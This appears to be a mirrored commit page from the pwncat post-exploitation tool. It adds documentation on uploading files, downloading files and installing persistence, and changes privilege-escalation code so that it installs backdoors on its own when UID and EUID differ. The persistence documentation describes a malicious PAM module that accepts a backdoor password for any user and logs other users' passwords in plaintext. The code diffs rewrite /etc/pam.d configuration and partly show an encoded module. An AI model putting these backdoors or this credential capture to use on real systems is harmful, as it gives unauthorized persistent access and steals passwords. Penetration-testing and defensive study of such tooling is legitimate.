mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-27 19:04:15 +01:00
privesc now uses persist to overcome UID!=EUID
`pwncat.victim.privesc` will use the first available and working persistence mechanism to overcome UID!=EUID situations. Also, added more documentation.
This commit is contained in:
parent
11fe2715ab
commit
72dc93e6f7
1
.gitignore
vendored
1
.gitignore
vendored
@ -8,3 +8,4 @@ dist/
|
|||||||
testbed
|
testbed
|
||||||
.idea/
|
.idea/
|
||||||
data/*.sqlite
|
data/*.sqlite
|
||||||
|
testing/
|
||||||
|
22
docs/source/download.rst
Normal file
22
docs/source/download.rst
Normal file
@ -0,0 +1,22 @@
|
|||||||
|
File Download
|
||||||
|
=============
|
||||||
|
|
||||||
|
File download is performed in a similar fashion to file upload. The interface is largely the same
|
||||||
|
with the parameter order swapped ("source" is a remote file while "destination" is a local file).
|
||||||
|
This command provides the same local and remote tab-completion and progress bar as with the upload
|
||||||
|
command.
|
||||||
|
|
||||||
|
.. code-block:: bash
|
||||||
|
|
||||||
|
(local) pwncat$ download --help
|
||||||
|
usage: download [-h] source destination
|
||||||
|
|
||||||
|
Download a file from the remote host to the local host
|
||||||
|
|
||||||
|
positional arguments:
|
||||||
|
source
|
||||||
|
destination
|
||||||
|
|
||||||
|
optional arguments:
|
||||||
|
-h, --help show this help message and exit
|
||||||
|
|
@ -143,8 +143,11 @@ features.
|
|||||||
|
|
||||||
installation.rst
|
installation.rst
|
||||||
configuration.rst
|
configuration.rst
|
||||||
|
upload.rst
|
||||||
|
download.rst
|
||||||
tamper.rst
|
tamper.rst
|
||||||
privesc.rst
|
privesc.rst
|
||||||
|
persist.rst
|
||||||
|
|
||||||
Indices and tables
|
Indices and tables
|
||||||
==================
|
==================
|
||||||
|
107
docs/source/persist.rst
Normal file
107
docs/source/persist.rst
Normal file
@ -0,0 +1,107 @@
|
|||||||
|
Persistence
|
||||||
|
===========
|
||||||
|
|
||||||
|
The ``pwncat.victim.persist`` module provides an abstract way to install various persistence methods
|
||||||
|
on the target host. To view a list of available persistence methods, you can use the ``--list/-l``
|
||||||
|
switch:
|
||||||
|
|
||||||
|
.. code-block:: bash
|
||||||
|
|
||||||
|
(local) pwncat$ persist -l
|
||||||
|
- authorized_keys as user (local)
|
||||||
|
- pam as system (local)
|
||||||
|
- passwd as system (local)
|
||||||
|
- sshd as system (local)
|
||||||
|
|
||||||
|
This output indicates a few things. First, if a given method specifies "as user", then the persistence
|
||||||
|
method is installed as a specific user. If no user is specified during installation, ``root`` is
|
||||||
|
attempted, but will likely only succeed if you do not currently have root permissions. Second,
|
||||||
|
persistence methods marked "local" allow a local user to escalate to that user (or to root for system
|
||||||
|
persistence modules). This is in contrast to persistence methods which only allow remote access
|
||||||
|
as the specified user.
|
||||||
|
|
||||||
|
To get more information on a specific module, you can pass the ``--method/-m`` option with the method
|
||||||
|
name when using ``--list/-l``. This will provide the module specific documentation on what is being
|
||||||
|
installed specifically on the remote system:
|
||||||
|
|
||||||
|
.. code-block:: bash
|
||||||
|
|
||||||
|
(local) pwncat$ persist -l -m pam
|
||||||
|
pam as system (local)
|
||||||
|
|
||||||
|
Add a malicious PAM module which will allow authentication as any user.
|
||||||
|
This persistence method will install a custom PAM module which authenticates
|
||||||
|
every user successfully with your backdoor password. This module also logs
|
||||||
|
any passwords in plaintext which are not your backdoor password in /var/log/firstlog.
|
||||||
|
The log file is tracked as a separate tamper and will not be automatically removed
|
||||||
|
by removing this persistence method.
|
||||||
|
|
||||||
|
The remote host **must** have `gcc` and `openssl-devel` packages installed
|
||||||
|
and you must already have root access.
|
||||||
|
|
||||||
|
Persistence Installation Status
|
||||||
|
-------------------------------
|
||||||
|
|
||||||
|
To list all currently installed persistence methods, you can use the ``--status/-s`` switch. This
|
||||||
|
will list all registered/installed persistence methods known to ``pwncat``. This is also the default
|
||||||
|
action if no options are specified.
|
||||||
|
|
||||||
|
.. code-block:: bash
|
||||||
|
|
||||||
|
(local) pwncat$ persist -s
|
||||||
|
- pam as system (local) installed
|
||||||
|
|
||||||
|
This is useful because in some situations, the ``pwncat.victim.privesc`` module will automatically
|
||||||
|
install persistence. This is normally to overcome a ``EUID != UID`` situation. If this happens,
|
||||||
|
``pwncat`` will still track persistence methods correctly.
|
||||||
|
|
||||||
|
Persistence methods are also tracked by the ``pwncat.victim.tamper`` module. When a persistence
|
||||||
|
method is installed, it is registered as both a tamper and a persistence method. In this way, using
|
||||||
|
``tamper -r -a`` will remove all of your modifications including persistence methods. If a persistence
|
||||||
|
method is removed with tamper, it will also be removed from the persistence status and vice-versa.
|
||||||
|
|
||||||
|
Installing Persistence
|
||||||
|
----------------------
|
||||||
|
|
||||||
|
The ``persist`` command can be used to install individual persistence methods. The ``--install/-i``
|
||||||
|
switch enables this mode. In installation mode, you must specify a module to install with the
|
||||||
|
``--method/-m`` option. For user-based methods, you should also specify a user. If no user is specified,
|
||||||
|
``pwncat`` will assume you would like root-level persistence. For system methods, the user argument
|
||||||
|
is ignored.
|
||||||
|
|
||||||
|
.. code-block:: bash
|
||||||
|
|
||||||
|
(local) pwncat$ persist -i -m pam
|
||||||
|
[/] pam_sneaky: adding pam auth configuration: login
|
||||||
|
(local) pwncat$ persist -i -m authorized_keys -u george
|
||||||
|
(local) pwncat$ persist
|
||||||
|
- pam as system (local) installed
|
||||||
|
- authorized_keys as george (local) installed
|
||||||
|
|
||||||
|
Removing Persistence
|
||||||
|
--------------------
|
||||||
|
|
||||||
|
Once again, the ``persist`` command is used to remove persistence from the target host. The
|
||||||
|
``--remove/-r`` switch is used to enable this mode. You must specify a method with the ``--method/-m``
|
||||||
|
option. For user-based methods, you must specify a user to remove the persistence from. As with
|
||||||
|
the install, ``pwncat`` will assume you would like to remove the root persistence. If no user is
|
||||||
|
specified and persistence as root is not installed, the removal will fail.
|
||||||
|
|
||||||
|
.. code-block:: bash
|
||||||
|
|
||||||
|
(local) pwncat$ persist -r -m authorized_keys -u george
|
||||||
|
(local) pwncat$ persist -r -m authorized_keys
|
||||||
|
[!] authorized_keys as root (local): not installed
|
||||||
|
|
||||||
|
As mentioned above, persistence installation is also tracked by the tamper command. The ``tamper``
|
||||||
|
command can also be used to view and remove persistence methods:
|
||||||
|
|
||||||
|
.. code-block:: bash
|
||||||
|
|
||||||
|
(local) pwncat$ tamper
|
||||||
|
0 - Created file /var/log/firstlog
|
||||||
|
1 - Persistence: pam as system (local)
|
||||||
|
(local) pwncat$ tamper -r -t 1
|
||||||
|
|
||||||
|
|
||||||
|
|
27
docs/source/upload.rst
Normal file
27
docs/source/upload.rst
Normal file
@ -0,0 +1,27 @@
|
|||||||
|
File Upload
|
||||||
|
===========
|
||||||
|
|
||||||
|
``pwncat`` makes file upload easy through the ``upload`` command. File upload is accomplished via
|
||||||
|
the ``gtfobins`` modules, which will enumerate available local binaries capable of writing printable
|
||||||
|
or binary data to files on the remote host. Often, this is ``dd`` if available but could be any
|
||||||
|
of the many binaries which ``gtfobins`` understands. The upload takes place over the same
|
||||||
|
connection as your shell, which means you don't need another HTTP or socket server or extra connectivity
|
||||||
|
to your target host.
|
||||||
|
|
||||||
|
At the local ``pwncat`` prompt, local and remote files are tab-completed to provided an easier upload
|
||||||
|
interface, and a progress bar is displayed.
|
||||||
|
|
||||||
|
.. code-block:: bash
|
||||||
|
|
||||||
|
(local) pwncat$ upload --help
|
||||||
|
usage: upload [-h] source destination
|
||||||
|
|
||||||
|
Upload a file from the local host to the remote host
|
||||||
|
|
||||||
|
positional arguments:
|
||||||
|
source
|
||||||
|
destination
|
||||||
|
|
||||||
|
optional arguments:
|
||||||
|
-h, --help show this help message and exit
|
||||||
|
|
@ -1,4 +1,5 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
|
import traceback
|
||||||
from typing import TextIO, Type
|
from typing import TextIO, Type
|
||||||
from prompt_toolkit import PromptSession, ANSI
|
from prompt_toolkit import PromptSession, ANSI
|
||||||
from prompt_toolkit.shortcuts import ProgressBar
|
from prompt_toolkit.shortcuts import ProgressBar
|
||||||
@ -228,7 +229,8 @@ class CommandParser:
|
|||||||
continue
|
continue
|
||||||
|
|
||||||
self.dispatch_line(line)
|
self.dispatch_line(line)
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt as exc:
|
||||||
|
traceback.print_exc()
|
||||||
continue
|
continue
|
||||||
|
|
||||||
def dispatch_line(self, line: str):
|
def dispatch_line(self, line: str):
|
||||||
|
@ -10,6 +10,7 @@ from pwncat.commands.base import (
|
|||||||
StoreForAction,
|
StoreForAction,
|
||||||
)
|
)
|
||||||
from pwncat import util, privesc
|
from pwncat import util, privesc
|
||||||
|
from pwncat.persist import PersistenceError
|
||||||
from pwncat.util import State
|
from pwncat.util import State
|
||||||
from colorama import Fore
|
from colorama import Fore
|
||||||
import argparse
|
import argparse
|
||||||
@ -155,30 +156,34 @@ class Command(CommandDefinition):
|
|||||||
chain = pwncat.victim.privesc.escalate(args.user, args.max_depth)
|
chain = pwncat.victim.privesc.escalate(args.user, args.max_depth)
|
||||||
|
|
||||||
ident = pwncat.victim.id
|
ident = pwncat.victim.id
|
||||||
backdoor = False
|
|
||||||
if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0:
|
if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0:
|
||||||
util.progress(
|
util.progress(
|
||||||
"EUID != UID. installing backdoor to complete privesc"
|
"mismatched euid and uid; attempting backdoor installation."
|
||||||
)
|
)
|
||||||
|
for method in pwncat.victim.persist.available:
|
||||||
|
if not method.system or not method.local:
|
||||||
|
continue
|
||||||
try:
|
try:
|
||||||
pwncat.victim.privesc.add_backdoor()
|
# Attempt to install this persistence method
|
||||||
backdoor = True
|
pwncat.victim.persist.install(method.name)
|
||||||
except privesc.PrivescError as exc:
|
if not method.escalate():
|
||||||
util.warn(f"backdoor installation failed: {exc}")
|
# The escalation didn't work, remove it and try the next
|
||||||
|
pwncat.victim.persist.remove(method.name)
|
||||||
|
continue
|
||||||
|
chain.append(
|
||||||
|
(
|
||||||
|
f"{method.format()} ({Fore.CYAN}euid{Fore.RESET} correction)",
|
||||||
|
"exit",
|
||||||
|
)
|
||||||
|
)
|
||||||
|
break
|
||||||
|
except PersistenceError:
|
||||||
|
continue
|
||||||
|
|
||||||
util.success("privilege escalation succeeded using:")
|
util.success("privilege escalation succeeded using:")
|
||||||
for i, (technique, _) in enumerate(chain):
|
for i, (technique, _) in enumerate(chain):
|
||||||
arrow = f"{Fore.YELLOW}\u2ba1{Fore.RESET} "
|
arrow = f"{Fore.YELLOW}\u2ba1{Fore.RESET} "
|
||||||
print(f"{(i+1)*' '}{arrow}{technique}")
|
print(f"{(i+1)*' '}{arrow}{technique}")
|
||||||
|
|
||||||
if backdoor:
|
|
||||||
print(
|
|
||||||
(
|
|
||||||
f"{(len(chain)+1)*' '}{arrow}"
|
|
||||||
f"{Fore.YELLOW}pwncat{Fore.RESET} backdoor"
|
|
||||||
)
|
|
||||||
)
|
|
||||||
|
|
||||||
pwncat.victim.reset()
|
pwncat.victim.reset()
|
||||||
pwncat.victim.state = State.RAW
|
pwncat.victim.state = State.RAW
|
||||||
except privesc.PrivescError as exc:
|
except privesc.PrivescError as exc:
|
||||||
|
@ -66,6 +66,11 @@ class Persistence:
|
|||||||
for persist in pwncat.victim.host.persistence:
|
for persist in pwncat.victim.host.persistence:
|
||||||
yield persist.user, self.methods[persist.method]
|
yield persist.user, self.methods[persist.method]
|
||||||
|
|
||||||
|
@property
|
||||||
|
def available(self) -> Iterator[str]:
|
||||||
|
""" Yield all the known methods """
|
||||||
|
yield from self.methods.values()
|
||||||
|
|
||||||
def find(
|
def find(
|
||||||
self,
|
self,
|
||||||
name: Optional[str] = None,
|
name: Optional[str] = None,
|
||||||
@ -105,6 +110,8 @@ class Persistence:
|
|||||||
raise PersistenceError(
|
raise PersistenceError(
|
||||||
f"{method.format(user)}: non-system methods require a user argument"
|
f"{method.format(user)}: non-system methods require a user argument"
|
||||||
)
|
)
|
||||||
|
if method.system and user is not None:
|
||||||
|
user = None
|
||||||
if not method.installed(user):
|
if not method.installed(user):
|
||||||
raise PersistenceError(f"{method.format(user)}: not installed")
|
raise PersistenceError(f"{method.format(user)}: not installed")
|
||||||
method.remove(user)
|
method.remove(user)
|
||||||
|
@ -151,11 +151,15 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
|
|||||||
)
|
)
|
||||||
config = os.path.join("/etc/pam.d", config)
|
config = os.path.join("/etc/pam.d", config)
|
||||||
try:
|
try:
|
||||||
|
# Read the original content
|
||||||
with pwncat.victim.open(config, "r") as filp:
|
with pwncat.victim.open(config, "r") as filp:
|
||||||
content = filp.readlines()
|
content = filp.readlines()
|
||||||
except (PermissionError, FileNotFoundError):
|
except (PermissionError, FileNotFoundError):
|
||||||
continue
|
continue
|
||||||
|
|
||||||
|
# We need to know if there is a rootok line. If there is,
|
||||||
|
# we should add our line after it to ensure that rootok still
|
||||||
|
# works.
|
||||||
contains_rootok = any("pam_rootok" in line for line in content)
|
contains_rootok = any("pam_rootok" in line for line in content)
|
||||||
|
|
||||||
# Add this auth statement before the first auth statement
|
# Add this auth statement before the first auth statement
|
||||||
@ -180,38 +184,6 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
|
|||||||
except (PermissionError, FileNotFoundError):
|
except (PermissionError, FileNotFoundError):
|
||||||
continue
|
continue
|
||||||
|
|
||||||
# We need to test if this works. We should be running as root, so
|
|
||||||
# we will `su` to the first regular user, and then attempt to `su`
|
|
||||||
# to another user with our known password.
|
|
||||||
for name, user in pwncat.victim.users.items():
|
|
||||||
if (
|
|
||||||
"nologin" not in user.shell
|
|
||||||
and "false" not in user.shell
|
|
||||||
and user.id != 0
|
|
||||||
):
|
|
||||||
target_user = name
|
|
||||||
break
|
|
||||||
else:
|
|
||||||
target_user = None
|
|
||||||
|
|
||||||
# If we didn't find any non-disabled users, we can't test it.
|
|
||||||
# But we'll assume it worked.
|
|
||||||
if target_user is not None:
|
|
||||||
util.progress(f"pam_sneaky: testing module with {target_user}")
|
|
||||||
# We're root. This won't fail.
|
|
||||||
pwncat.victim.su(target_user, password=None)
|
|
||||||
try:
|
|
||||||
pwncat.victim.su(
|
|
||||||
"root", password=pwncat.victim.config["backdoor_pass"]
|
|
||||||
)
|
|
||||||
util.success(f"pam_sneaky: installation succeeded!")
|
|
||||||
except PermissionError:
|
|
||||||
# It didn't work!
|
|
||||||
self.remove()
|
|
||||||
raise PersistenceError("pam module install failed")
|
|
||||||
finally:
|
|
||||||
pwncat.victim.run("exit", wait=False)
|
|
||||||
|
|
||||||
pwncat.victim.tamper.created_file("/var/log/firstlog")
|
pwncat.victim.tamper.created_file("/var/log/firstlog")
|
||||||
except FileNotFoundError as exc:
|
except FileNotFoundError as exc:
|
||||||
# A needed binary wasn't found. Clean up whatever we created.
|
# A needed binary wasn't found. Clean up whatever we created.
|
||||||
@ -282,6 +254,9 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
|
|||||||
if user is None:
|
if user is None:
|
||||||
user = "root"
|
user = "root"
|
||||||
|
|
||||||
|
try:
|
||||||
pwncat.victim.su(user, password=pwncat.victim.config["backdoor_pass"])
|
pwncat.victim.su(user, password=pwncat.victim.config["backdoor_pass"])
|
||||||
|
except PermissionError:
|
||||||
|
return False
|
||||||
|
|
||||||
return True
|
return True
|
||||||
|
@ -1030,12 +1030,12 @@ class Victim:
|
|||||||
def su(self, user: str, password: str = None):
|
def su(self, user: str, password: str = None):
|
||||||
""" Use the "su" command to switch users. If password is none, no password is sent. """
|
""" Use the "su" command to switch users. If password is none, no password is sent. """
|
||||||
|
|
||||||
current_user = self.current_user
|
current_user = self.id
|
||||||
|
|
||||||
if password is None and current_user.id != 0:
|
if password is None and current_user["uid"]["id"] != 0:
|
||||||
raise PermissionError("no password provided and whoami != root!")
|
raise PermissionError("no password provided and whoami != root!")
|
||||||
|
|
||||||
if current_user.id != 0:
|
if current_user["uid"]["id"] != 0:
|
||||||
# Verify the validity of the password
|
# Verify the validity of the password
|
||||||
self.env(["su", user, "-c", "echo good"], wait=False)
|
self.env(["su", user, "-c", "echo good"], wait=False)
|
||||||
self.recvuntil(b": ")
|
self.recvuntil(b": ")
|
||||||
@ -1055,7 +1055,7 @@ class Victim:
|
|||||||
# Switch users
|
# Switch users
|
||||||
self.env(["su", user], wait=False)
|
self.env(["su", user], wait=False)
|
||||||
|
|
||||||
if current_user.id != 0:
|
if current_user["uid"]["id"] != 0:
|
||||||
self.recvuntil(b": ")
|
self.recvuntil(b": ")
|
||||||
self.client.sendall(password.encode("utf-8") + b"\n")
|
self.client.sendall(password.encode("utf-8") + b"\n")
|
||||||
self.flush_output()
|
self.flush_output()
|
||||||
|
Loading…
Reference in New Issue
Block a user